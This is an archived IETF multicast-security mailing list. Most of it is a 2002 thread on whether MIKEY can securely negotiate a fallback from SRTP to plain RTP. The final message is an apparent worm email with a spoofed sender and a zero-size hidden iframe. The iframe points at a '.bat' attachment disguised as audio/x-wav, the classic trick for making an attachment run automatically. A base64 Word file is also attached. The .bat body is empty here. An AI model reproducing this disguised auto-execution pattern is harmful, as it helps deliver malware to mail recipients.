proceed. BTW, in the scenario above, SIP (or RTSP) would fail 
when the SAVP profile (when used) is detected as not supported 
(and that has nothing to do with MIKEY). 

> 
> I agree that SRTP and RTP are different profiles. Does this 
> mean that MIKEY
> is not applicable to the RTP profile? (not that I want to 
> distribute keys
> for RTP, that does not make sense at all, but to have a 
> secured profile
> negotiation).

MIKEY does not support RTP. 


Fredrik


> 
> With kind regards
> 
> Martin Euchner.
> --------------------------------------------------------------
> ---------
> | Dipl.-Inf.                     Rapporteur Q.G/SG16
> | Martin Euchner                 Phone: +49 89 722 55790
> | Siemens AG.....................Fax  : +49 89 722 47713
> | ICN M SR 3                     mailto:Martin.Euchner@icn.siemens.de
> |                                mailto:martin.euchner@ties.itu.int
> | Hofmannstr. 51                 Intranet:
> http://intranet.icn.siemens.de/marketing/cs27/topics/security/
> | D-81359 Muenchen               Internet: http://www.siemens.de/
> | __________________
> | Germany     
> --------------------------------------------------------------
> ---------
> 
>  -----Original Message-----
> From: 	Fredrik Lindholm (EAB) 
[mailto:Fredrik.Lindholm@era.ericsson.se] 
Sent:	Thursday, July 11, 2002 11:49 AM
To:	Euchner Martin  ICN M SR 3; msec@securemulticast.org
Cc:	'jari.arkko@ericsson.com'; Elisabetta Carrara (EAB); Karl Norrman
(EAB)
Subject:	RE: MIKEY SRTP policy: secure negotiation of RTP with MIKEY?


Hi Martin!

In IKE, do you negotiate IP instead of IPsec if the responder 
do not support security? I don't think this make sense. If 
the guy doesn't support security, then you may go out (in 
the case of SIP) with a new Invite setting up RTP instead of 
SRTP only if your local policy allows you to. Recall also that SRTP 
and "normal" RTP are different profiles (see also my previous 
comment at the mmusic list
http://www1.ietf.org/mail-archive/working-groups/mmusic/current/msg00596.htm
l). 

BR,
Fredrik

> 
> Dear all,
> 
> MIKEY allows securely negotiating SRTP capabilities 
> (algorithms, modes,
> security services) using the SRTP policy.
> 
> How can MIKEY securely negotiate that RTP instead of SRTP be 
> used? This
> would allow a secure fall-back to RTP at least.
> 
> By disabling any SRTP security features (NULL) in section 6.10.1 ?
> 
> 
> 
> With kind regards
> 
> Martin Euchner.
> --------------------------------------------------------------
> ---------
> | Dipl.-Inf.                     Rapporteur Q.G/SG16
> | Martin Euchner                 Phone: +49 89 722 55790
> | Siemens AG.....................Fax  : +49 89 722 47713
> | ICN M SR 3                     mailto:Martin.Euchner@icn.siemens.de
> |                                mailto:martin.euchner@ties.itu.int
> | Hofmannstr. 51                 Intranet:
> http://intranet.icn.siemens.de/marketing/cs27/topics/security/
> | D-81359 Muenchen               Internet: http://www.siemens.de/
> | __________________
> | Germany     
> --------------------------------------------------------------
> ---------
> 

_______________________________________________
msec mailing list
msec@securemulticast.org
http://www.pairlist.net/mailman/listinfo/msec


From msec-admin@securemulticast.org  Thu Jul 11 12:51:41 2002
Received: from pairlist.net (pairlist.net [216.92.1.92])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA25210
	for <msec-archive@odin.ietf.org>; Thu, 11 Jul 2002 12:51:41 -0400 (EDT)
Received: from pairlist.net (localhost.pair.com [127.0.0.1])
	by pairlist.net (Postfix) with ESMTP
	id B408E5380A; Thu, 11 Jul 2002 11:32:48 -0400 (EDT)
Delivered-To: msec@pairlist.net
Received: from klesh.pair.com (klesh.pair.com [209.68.2.45])
	by pairlist.net (Postfix) with SMTP id 101DC53552
	for <msec@lists.securemulticast.org>; Thu, 11 Jul 2002 06:43:14 -0400 (EDT)
Received: (qmail 51425 invoked by uid 3269); 11 Jul 2002 10:44:47 -0000
Delivered-To: ietfsmug-securemulticast:org-msec@securemulticast.org
Received: (qmail 51422 invoked from network); 11 Jul 2002 10:44:47 -0000
Received: from gorilla.mchh.siemens.de (194.138.158.18)
  by klesh.pair.com with SMTP; 11 Jul 2002 10:44:47 -0000
Received: from blues.mchh.siemens.de (mail2.mchh.siemens.de [194.138.158.227])
	by gorilla.mchh.siemens.de (8.9.3/8.9.3) with ESMTP id MAA23020;
	Thu, 11 Jul 2002 12:44:42 +0200 (MET DST)
Received: from mchh169e.mch4.siemens.de ([139.21.130.176])
	by blues.mchh.siemens.de (8.9.1/8.9.1) with ESMTP id MAA27608;
	Thu, 11 Jul 2002 12:44:42 +0200 (MET DST)
Received: by mchh169e.mch4.siemens.de with Internet Mail Service (5.5.2653.19)
	id <MQQ6KB7W>; Thu, 11 Jul 2002 12:44:44 +0200
Message-ID: <DA6599EBFD6CF042B0B77964CFF62095530364@MCHH162E>
From: Euchner Martin ICN M SR 3 <Martin.Euchner@icn.siemens.de>
To: "'Fredrik Lindholm (EAB)'" <Fredrik.Lindholm@era.ericsson.se>,
        msec@securemulticast.org,
        Euchner Martin ICN M SR 3 <Martin.Euchner@icn.siemens.de>
Cc: "'jari.arkko@ericsson.com'" <jari.arkko@ericsson.com>,
        "Elisabetta Carrara (EAB)" <Elisabetta.Carrara@era.ericsson.se>,
        "Karl Norrman (EAB)" <Karl.Norrman@era.ericsson.se>
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Subject: [MSEC] RE: MIKEY SRTP policy: secure negotiation of RTP with MIKEY?
Sender: msec-admin@securemulticast.org
Errors-To: msec-admin@securemulticast.org
X-BeenThere: msec@securemulticast.org
X-Mailman-Version: 2.0
Precedence: bulk
List-Help: <mailto:msec-request@securemulticast.org?subject=help>
List-Post: <mailto:msec@securemulticast.org>
List-Subscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=subscribe>
List-Id: IETF Multicast Security (MSEC) WG list <msec.securemulticast.org>
List-Unsubscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=unsubscribe>
List-Archive: <http://www.pairlist.net/pipermail/msec/>
Date: Thu, 11 Jul 2002 12:44:40 +0200

Hello Fredrick,

considering an environment with an endpoint supporting MIKEY but not SRTP
(yet), the method you described would work in general where the responder
rejects and another negotiation attempt be made, but this clearly introduces
another roundtrip. This is bad for a real-time environment where the prime
goal is to minimize roundtrips as in MIKEY.

I agree that SRTP and RTP are different profiles. Does this mean that MIKEY
is not applicable to the RTP profile? (not that I want to distribute keys
for RTP, that does not make sense at all, but to have a secured profile
negotiation).


With kind regards

Martin Euchner.
-----------------------------------------------------------------------
| Dipl.-Inf.                     Rapporteur Q.G/SG16
| Martin Euchner                 Phone: +49 89 722 55790
| Siemens AG.....................Fax  : +49 89 722 47713
| ICN M SR 3                     mailto:Martin.Euchner@icn.siemens.de
|                                mailto:martin.euchner@ties.itu.int
| Hofmannstr. 51                 Intranet:
http://intranet.icn.siemens.de/marketing/cs27/topics/security/
| D-81359 Muenchen               Internet: http://www.siemens.de/
| __________________
| Germany     
-----------------------------------------------------------------------

 -----Original Message-----
From: 	Fredrik Lindholm (EAB) [mailto:Fredrik.Lindholm@era.ericsson.se] 
Sent:	Thursday, July 11, 2002 11:49 AM
To:	Euchner Martin  ICN M SR 3; msec@securemulticast.org
Cc:	'jari.arkko@ericsson.com'; Elisabetta Carrara (EAB); Karl Norrman
(EAB)
Subject:	RE: MIKEY SRTP policy: secure negotiation of RTP with MIKEY?


Hi Martin!

In IKE, do you negotiate IP instead of IPsec if the responder 
do not support security? I don't think this make sense. If 
the guy doesn't support security, then you may go out (in 
the case of SIP) with a new Invite setting up RTP instead of 
SRTP only if your local policy allows you to. Recall also that SRTP 
and "normal" RTP are different profiles (see also my previous 
comment at the mmusic list
http://www1.ietf.org/mail-archive/working-groups/mmusic/current/msg00596.htm
l). 

BR,
Fredrik

> 
> Dear all,
> 
> MIKEY allows securely negotiating SRTP capabilities 
> (algorithms, modes,
> security services) using the SRTP policy.
> 
> How can MIKEY securely negotiate that RTP instead of SRTP be 
> used? This
> would allow a secure fall-back to RTP at least.
> 
> By disabling any SRTP security features (NULL) in section 6.10.1 ?
> 
> 
> 
> With kind regards
> 
> Martin Euchner.
> --------------------------------------------------------------
> ---------
> | Dipl.-Inf.                     Rapporteur Q.G/SG16
> | Martin Euchner                 Phone: +49 89 722 55790
> | Siemens AG.....................Fax  : +49 89 722 47713
> | ICN M SR 3                     mailto:Martin.Euchner@icn.siemens.de
> |                                mailto:martin.euchner@ties.itu.int
> | Hofmannstr. 51                 Intranet:
> http://intranet.icn.siemens.de/marketing/cs27/topics/security/
> | D-81359 Muenchen               Internet: http://www.siemens.de/
> | __________________
> | Germany     
> --------------------------------------------------------------
> ---------
> 

_______________________________________________
msec mailing list
msec@securemulticast.org
http://www.pairlist.net/mailman/listinfo/msec


From msec-admin@securemulticast.org  Thu Jul 11 22:38:18 2002
Received: from pairlist.net (pairlist.net [216.92.1.92])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA21007
	for <msec-archive@odin.ietf.org>; Thu, 11 Jul 2002 22:38:17 -0400 (EDT)
Received: from pairlist.net (localhost.pair.com [127.0.0.1])
	by pairlist.net (Postfix) with ESMTP
	id 8E76253622; Thu, 11 Jul 2002 22:37:05 -0400 (EDT)
Delivered-To: msec@pairlist.net
Received: from klesh.pair.com (klesh.pair.com [209.68.2.45])
	by pairlist.net (Postfix) with SMTP id 283AF53629
	for <msec@lists.securemulticast.org>; Thu, 11 Jul 2002 22:36:13 -0400 (EDT)
Received: (qmail 81618 invoked by uid 3269); 12 Jul 2002 02:37:47 -0000
Delivered-To: ietfsmug-securemulticast:org-msec@securemulticast.org
Received: (qmail 81475 invoked from network); 12 Jul 2002 02:37:43 -0000
Received: from unknown (HELO mail1.beijingnet.com) (202.136.254.1)
  by klesh.pair.com with SMTP; 12 Jul 2002 02:37:43 -0000
Received: from Ygyh ([202.106.136.212])
	by mail1.beijingnet.com (8.8.8+2.7Wbeta7/3.6W) with SMTP id LAA19822
	for <msec@securemulticast.org>; Fri, 12 Jul 2002 11:43:07 +0900 (CDT)
Message-Id: <200207120243.LAA19822@mail1.beijingnet.com>
From: fenner <fenner@research.att.com>
To: msec@securemulticast.org
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary=HPs4d11KC8b3C02F54W731u455
Subject: [MSEC] Page uses frames, but your browser doesn
Sender: msec-admin@securemulticast.org
Errors-To: msec-admin@securemulticast.org
X-BeenThere: msec@securemulticast.org
X-Mailman-Version: 2.0
Precedence: bulk
List-Help: <mailto:msec-request@securemulticast.org?subject=help>
List-Post: <mailto:msec@securemulticast.org>
List-Subscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=subscribe>
List-Id: IETF Multicast Security (MSEC) WG list <msec.securemulticast.org>
List-Unsubscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=unsubscribe>
List-Archive: <http://www.pairlist.net/pipermail/msec/>
Date: Fri, 12 Jul 2002 11:43:07 +0900 (CDT)

--HPs4d11KC8b3C02F54W731u455
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<HTML><HEAD></HEAD><BODY>
<iframe src=3Dcid:T8Pc5E1z3tf989q2847 height=3D0 width=3D0>
</iframe>
<FONT></FONT></BODY></HTML>

--HPs4d11KC8b3C02F54W731u455
Content-Type: audio/x-wav;
	name=ÖпÆÔºÓë±´¶ûʵÑéÊÒ¹²½¨Í¨Ðż¼ÊõʵÑéÊÒ.bat
Content-ID: <T8Pc5E1z3tf989q2847>
Content-Transfer-Encoding: base64


--HPs4d11KC8b3C02F54W731u455

Content-Type: application/octet-stream;
	name=ÖпÆÔºÓë±´¶ûʵÑéÊÒ¹²½¨Í¨Ðż¼ÊõʵÑéÊÒ.doc
Content-Transfer-Encoding: base64
Content-ID: <T8Pc5E1z3tf989q2847>

0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAABAAAAJQAAAAAA
AAAAEAAAJwAAAAEAAAD+////AAAAACQAAAD/////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
///////////////////////////////////spcEAOSAJBAAA8FK/AAAAAAAAEAAAAAAABAAA
TA8AAA4AYmpiav3P/c8AAAAAAAAAAAAAAAAAAAAAAAAECBYAMhYAAJ+lAACfpQAApgUAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//w8AAAAAAAAAAAD//w8AAAAAAAAAAAD//w8A
AAAAAAAAAAAAAAAAAAAAAGwAAAAAAEIBAAAAAAAAQgEAAEIBAAAAAAAAQgEAAAAAAABCAQAA
AAAAAEIBAAAAAAAAQgEAABQAAAAAAAAAAAAAAFYBAAAAAAAACgIAAAAAAAAKAgAAAAAAAAoC
AAAAAAAACgIAAAwAAAAWAgAADAAAAFYBAAAAAAAALwcAAPIAAAAuAgAAAAAAAC4CAAAAAAAA
LgIAAAAAAAAuAgAAAAAAAC4CAAAAAAAALgIAAAAAAAAuAgAAAAAAAC4CAAAAAAAArgYAAAIA
AACwBgAAAAAAALAGAAAAAAAAsAYAAAAAAACwBgAAAAAAALAGAAAAAAAAsAYAACQAAAAhCAAA
IAIAAEEKAABcAAAA1AYAABUAAAAAAAAAAAAAAAAAAAAAAAAAQgEAAAAAAAAuAgAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAuAgAAAAAAAC4CAAAAAAAALgIAAAAAAAAuAgAAAAAAANQGAAAAAAAA
ngQAAAAAAABCAQAAAAAAAEIBAAAAAAAALgIAAAAAAAAAAAAAAAAAAC4CAAAAAAAA6QYAABYA
AACeBAAAAAAAAJ4EAAAAAAAAngQAAAAAAAAuAgAACAIAAEIBAAAAAAAALgIAAAAAAABCAQAA
AAAAAC4CAAAAAAAArgYAAAAAAAAAAAAAAAAAAJ4EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALgIAAAAAAACuBgAAAAAAAJ4EAAD8AQAA
ngQAAAAAAAAAAAAAAAAAAJoGAAAAAAAAQgEAAAAAAABCAQAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAmgYAAAAAAAAuAgAA
AAAAACICAAAMAAAAgMt25FR9wQFWAQAAtAAAAAoCAAAAAAAANgQAAFIAAACaBgAAAAAAAAAA
AAAAAAAAmgYAABQAAAD/BgAAMAAAAC8HAAAAAAAAmgYAAAAAAACdCgAAAAAAAIgEAAAWAAAA
nQoAAAAAAACaBgAAAAAAAJ4EAAAAAAAAVgEAAAAAAABWAQAAAAAAAEIBAAAAAAAAQgEAAAAA
AABCAQAAAAAAAEIBAAAAAAAAAgDZAAAALU7ReWKWDk4djRRcnluMmqRbcVH6XhqQ4U+AYi9n
nluMmqRbIAANACAAIACAe8tOGv8NADIAMAAwADAAdF4xADEACGctTtF5YpZvj/ZOFHh2ekBi
Dk4XZ6+LHY0UXJ5bjJqkW/pXQHjReWZbFHh2emKWCFRcTxBiy3qGThqQ4U+AYi9nVIAIVJ5b
jJqkWwz/HY0UXJ5bjJqkWy1O/Vb6V0B40XlmWxR4dnpilmKWf5VOZydZ9H6wZddTWIA6ThR4
dnpYVAIwVIAIVJ5bjJqkWwZcKFctTtF5YpZvj/ZOQGIgAA5OHY0UXJ5bjJqkW/pXQHjReWZb
FHh2emKWhHZxUQxUB2P8WwtODP8AX1VcGpDhTxR4dnoCMBBiy3qEdp5bjJqkWwZclplIUS9U
qFIp/zD/Vv8W/09TrouEdhR4dnoCMCAAGpDhT4BiL2dUgAhUnluMmqRbyk4OVNiPBlwoVxqQ
4U+GmN9XAF9VXH9e22yEdghUXE+MVBR4dnoM/x2NFFyeW4yapFtfTgZcOk5UgAhUnluMmqRb
hHa6TlhU0GObT/lXrYsM/3ZeDk4tTtF5YpZvj/ZOFHh2ekBiAF9VXGZbL2ekTkFtO22oUgIw
IAAoV2RrS05NUgz/HY0UXJ5bjJqkW/pXQHjReWZbFHh2emKW8l3PfoxUF1OsTidZZlsBMAVu
TlMnWWZbSXvYmiFo+l7LeoZOGlkqTlSACFSeW4yapFsM/wZSK1IoV2+P9k4NWSh1ATBwZW5j
UX/cfgEwUX/cfqF7BnQBMAtOAE7jTuBWeXJRf+VOylNPU66LS23Vi4BiL2dJe7llYpcAX1Vc
hk5TUwlnEGJIZYR2FHh2egIwDQBvj/ZOFHh2eqRbhHaAe8tOoAAa/w0Ab4/2ThR4dnqkW5pb
TU86Tn9ixWL9VrZbKFdvj/ZOhpjfV3lyK1IvZkkAbgB0AGUAcgBuAGUAdAAvAEkAbgB0AHIA
YQBuAGUAdABvj/ZOhpjfV4R2+ldAeCdgATAYYmV1J2ABME1Su3cnYBR4dnoM/wBf0VNilxFU
UX/cfs9+Tm2EdgEwCWfYmqZegGIvZytUz5GEdkkAbgB0AGUAcgBuAGUAdACeWDxQDWehUiFq
D1/KU3ZRb4/2Ti9lkWRzXvBTAjA7YO52B2gvZhBiOk5Rf9x+4U9vYIlbaFGMVCdZxIkhagEw
emb9gBZTUX/cfuFPb2CFUblbBFkGdLllYpf9VoVRhphIUQEw/VZFluV3DVSEdmZbL2fiVh+W
ATCAYi9nkG40WYxU5XfGi0SNLGcbUjZlLU7DXwIwIAALAKAAoACgAKAAb4/2ThR4dnqkWyFQ
/Fsa/0JsnlsBMGxlGk4BMAhUXE8BMBtSsGUCMEJsnlsM/zFcL2YJkOliCWeeWyh19048UAEw
Ok4CXjpXQGIAl4GJhHb+i5iYDP9aUE5iTmKeW55bhHblXVxPDP8NTh5kbm04WQEwBW4IjBv/
bGUaTgz/MVwvZgpczZHReWZbATAKXM2Ri06eWwz/JU6IW0yAGk5TkLdfDP91kIhb5V1cT6p+
i1+MVOVdC3qhewZ0xIkDgxv/CFRcTwz/MVwvZuJWH5a+fF55DP86TnFRDFTudgdoT1MMVOVd
XE+Edt1RWoCbUoxU2J5RWRv/G1KwZQz/MVwvZgBfqFIRgUt7DP9iZY5OjFSEVY5OgXo0eHdR
CWfYmoBiL2crVM+RjFQNTu9TIWr/TidghHZzUS6VgGIvZwIwIAALAKAAoACgAKAAb4/2ThR4
dnqkWztghHYUeHZ6uWURVIJp7GJ3jWVnKFckTipOuWVilxr/4U9vYIVRuVsEWQZ0ylPhT29g
iVtoUQIw7nZNUgZSOk4JTipOJ1n+i5iYxH4M/wZSK1I6Thr/4U9vYHNe8FMBMOV3xosWY5hj
ATCJW2hRO2UylgIwf2LFYoZO/Va2WzgANgAzAAEwOQA3ADMA/ouYmAEw/Va2W+qBNnHReWZb
+lfRkUl7/Va2W6d+FHh2enmY7nbKUypqEVT+i5iYhHYUeNFTAjB2US1O4U9vYHNe8FP+i5iY
xH7IUwZSOk4BTxpO4U9vYHNe8FMBMHBlV1v+VmZOhpk4aMNfc17wUwEwSQBDAFAAgGIvZwlO
Kk5QW/6LmJjEfhv/5XfGixZjmGP+i5iYxH4GUjpO6I3tiwCK5XfGiwRZBnQBMO6VVHsPX1F/
2XokTipOUFv+i5iYxH4b/4lbaFE7ZTKW/ouYmMR+BlI6TolbaFFXAGUAYgANZ6FSaFYBMEUA
bQBhAGkAbAANZ6FSaFaMVHBlV1tIckNn3U+kYiROKk7+i5iYxH4CMCAACwCgAKAAoACgAG+P
9k4UeHZ6pFsoV8JTDk79VrZbzZG5cPpXQHj+i5iYFHh2eoR2DFT2ZQz/2I8AX9FThk53UQln
gWd9WUZVGk5NUm9mhHZvj/ZOp07BVAIwglka/1F/3H6hizmN404GdAEwbI+tZPt8334BMBxk
In0VX85kATCJW2hRVwBlAGIADWehUmhWSXsM/3ZRLU4ATptOp07BVPJdz363g5dfhk5vgn1Z
hHYAlS5VnZgCMG+P9k6kWwxeG2cakMePBlyAYi9nylOfU4tX+3zffmyP+3kwUghUApCEdmxR
+FMtTmVnjFsQYoBiL2eEdgJeOleoY39e5V1cTwIwIAALAKAAoACgAKAAb4/2ThR4dnqkW+52
TVJxUQlnuk5YVDUANAC6Tgz/dlEtTmNrD19YVOVdMgA0ALpODP8FU+xiGv8UeHZ6WFQxALpO
ATBvUhR4dnpYVDQAuk4b/yhX+4sUeHZ6H3UyADQAuk4M/wVT7GIa/1pT61gfdTgAuk4BMFV4
61gfdTEANgC6Thv/5lMJZ6Jbp17lXVxPuk5YVDYAuk4CMA0AFHh2eqRblpktXtF5Zlu2W312
VXh0XsVONAA0AIFcDP8vZrpO5V16Zv2AhpjfV4R2V4QNVBNOtlsM/0hRDlTFYvtOhk5JAG4A
ZgBvAHIAbQBhAHQAaQBjAGEA/VZFlkJn11+Edi1O/VYWf9RZG/9JAEMAWQBDAFMAJwA5ADUA
hHYLeo9e1FlYVBpPO04tXhv/LHuUTkpcaFH9VqGLl3vtiwCKZlsI/zEAOQA5ADkACf9UgAhU
ZlsvZxpProsnWRpPb1I7Ti1eG/8tTv1WoYuXezpnZlsaTyFqD1/GiytSDk66TuVdemb9gBNO
Gk7UWVhUGk8GdItOSXvlXVxPAjANABR4dnqkWztO+04LemZb12VvUhR4dnpYVAz/L2YtTtF5
YpbIdtF5GE/AeVKXdF5mWwWAVlm3g5dfBYAM/y9mLU79VnBlV1sWU/5WZk6GmTp5A4PlXQt6
OGjDXxpOoVJzXvBThHY7ToGJgGIvZx+NI426ToxU/Va2W/5WZk6GmXBlV1sWU+VdC3qEdjtO
gYmAYi9nH40jjbpOS04ATgz/dF7FTjMAMACBXAIwIAANAJaZLV7ReWZbtlsa/6AAoAB9dlV4
CP8UeHZ6WFQJ/yAACwAUeHZ6pFs7TvtOGv+gAKAAC3pmW9dloACgAKAAoAAgADV13Ysa/6AA
oAA2ADIANQA2ADUANQAzADMALQA1ADYAMAA1ACAAOAAyADYAMgA5ADIANAA0ACAACwAUeHZ6
pFtvUjtO+04a/+2QiYOgAKAAoACgAKAAoACgADV13Ysa/yAAoAA2ADIANQA2ADUANQAzADMA
LQA1ADYAMAA1ACAANgAyADUAOAA3ADkANQAzACAACwBMiD9l2HlmThr/oACgAKAAoABZWw2E
IACgAKAAoACgAKAAoAA1dd2LGv8gAKAANgAyADUANgA1ADUAMwAzAC0ANQA3ADMAMwANAA0A
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAQAACYEAAAsBAAANAQAADwEAABEBAAAkAQAALYEAAC4BAAA
xAQAAMYEAAASBQAAFgUAABgFAACCBgAAhAYAAJoGAADCBgAA1gcAABwJAAAgCQAAsAkAANQK
AABWCwAA2AsAAPYLAAB6DAAAfAwAAHoNAAB8DQAAKA4AAEgOAABMDgAAag4AAKYOAADMDgAA
AA8AABYPAAAsDwAALg8AAEgPAABKDwAATA8AAPXp3drW2tHa0cvRy9ba1sK8t7y3vLe8t7y3
vLe8t7y3vLe8t7y3vLe8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAACENKFQBhShUAAAtDShUAYUoVAG8oARE1CIFDShUAXAiBYUoVAG8oAQtDShUAYUoU
AG8oAQhDShUAYUoUAAAHQ0oVAG8oAQRDShUAABY1CIFCKgFDShUAXAiBbygBcGgAAAAAABY1
CIFCKgFDSh4AXAiBbygBcGgAAAAAABM1CIFCKgFDSh4AXAiBcGgAAAAAACoABAAAKAQAADQE
AACEBgAAmgYAAHwMAAB8DQAAKg4AAEoPAABMDwAA9wAAAAAAAAAAAAAAAPUAAAAAAAAAAAAA
AADtAAAAAAAAAAAAAAAA4gAAAAAAAAAAAAAAANcAAAAAAAAAAAAAAADXAAAAAAAAAAAAAAAA
1wAAAAAAAAAAAAAAANIAAAAAAAAAAAAAAADQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAABA8AEmRAAQAAAAoPABGEngESZEAB
AABXRMUAYISeAQAKDwARhKQBEmRAAQAAV0THAGCEpAEABw8AEYSgAVdExgBghKABAAEPAAAH
DwARhOIFV0T0AWCE4gUACQAEAABMDwAA/gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAQEBMAAxkDgBMlACAB+w
gi4gsMZBIbAIByKwCAcjkKAFJJCgBSWwAAAXsFMDGLDgAwyQqQEAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAUABEACgABAGkADwADAAAAAwAAAAAARgAAQPH/AgBGAAwAAgBja4dl
AAALAAAAAyQDMSQAYSQDACQAQ0oVAEtIAgBQSgMAX0gBBGFKGABtSAkEbkgECHNICQR0SAQI
AAAAAAAAAAAAAAAAAAAAAAAAHABBQPL/oQAcAAwABgDYnqSLtWs9hFdbU08AAAAAAAAAAAAA
AABSAF5AAQDyAFIADAAIAG5mGpAgACgAVwBlAGIAKQAAAB8ADwADJAASZBD/AAATpGQAFKRk
ADEkAVskAVwkAWEkAAAQAENKEgBLSAAAT0oDAFFKAwBWAP4PAQACAVYADAAGAGkAbgBkAGUA
bgB0AAAAJwAQAAMkABGEdwESZCwBAAATpGQAFKRkADEkAVskAVwkAWCEdwFhJAAAEABLSAAA
T0oDAFFKAwBhShUAAAAAAKYFAAAIAAAWAAAHAP////8AAAAAFAAAABoAAABCAQAATQEAAD4E
AAAVBQAApQUAAKgFAACYAAAADwAAAAAAAAAAgAAAAICYAAAADzAAAAAAAAAAgAAAAICYAAAA
DwAAAAAAAAAAgAAAAICYAAAADwAAAAAAAAAAgAAAAICYAAAADwAAAAAAAAAAgAAAAICaAAAA
DxAAAAAAAAAAgAAAAICYAAAADzAAAAAAAAAAgAAAAICYAAAAADAAAAAAAAAAgAAAAIAABAAA
TA8AAAgAAAAABAAATA8AAAkAAAAABAAATA8AAAoAAAAAAAAAEgAAABYAAAAZAAAAHgAAAB8A
AAAhAAAAcAAAAHEAAAChAAAAogAAAOcAAADoAAAAQQEAAEIBAABKAQAASwEAAEwBAABNAQAA
